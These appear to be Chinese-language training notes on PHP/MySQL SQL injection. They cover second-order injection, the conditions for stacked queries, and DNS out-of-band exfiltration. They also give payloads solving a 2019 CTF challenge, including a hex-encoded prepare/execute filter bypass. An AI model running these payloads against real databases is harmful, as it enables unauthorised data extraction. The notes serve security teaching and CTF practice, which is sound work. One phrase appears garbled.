-PHP 应用&SQL 二次注入&堆叠执行&DNS 带外&功能点&黑白盒条件

#PHP-MYSQL- 二次注入 -DEMO&74CMS

1 、 DEMO- 用户注册登录修改密码

2 、 CMS-74CMS 个人中心简历功能

黑盒思路：分析功能有添加后对数据操作的地方（功能点）

白盒思路： insert 后进入 select 或 update 的功能的代码块

注入条件：插入时有转义函数或配置，后续有利用插入的数据（遮阳前面失效 而后面修改密码就生效了）

#PHP-MYSQL- 堆叠注入 -DEMO&CTF 强网

堆叠注入触发的条件很苛刻，因为堆叠注入原理就是通过结束符同时执行多条 sql 语

句，

例如 php 中的 mysqli_multi_query 函数。与之相对应的 mysqli_query() 只能执

行一条 SQL ，所以要想目标存在堆叠注入 , 在目标主机存在类似于

mysqli_multi_query() 这样的函数 , 根据数据库类型决定是否支持多条语句执行 .

1 、目标存在 sql 注入漏洞

2 、目标未对 ";" 号进行过滤

3 、目标中间层查询数据库信息时可同时执行多条 sql 语句

支持堆叠数据库： MYSQL MSSQL Postgresql 等

-2019 强网杯 - 随便注（ CTF 题型）

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

';SeT

@a=0x73656c65637420666c61672066726f6d2060313931393831303933313131

3435313460;prepare execsql from @a;execute execsql;

1 、目标存在 sql 注入漏洞

2 、目标未对 ";" 号进行过滤

3 、目标中间层查询数据库信息时可同时执行多条 sql 语句

#PHP-MYSQL- 带外注入 -DEMO&DNSLOG

0. 注入条件

ROOT 高权限且支持 load_file()

有部分注入点是没有回显的，所有读取也是没回显的，采用带外

1. 使用平台

http://ceye.io

http://www.dnslog.cn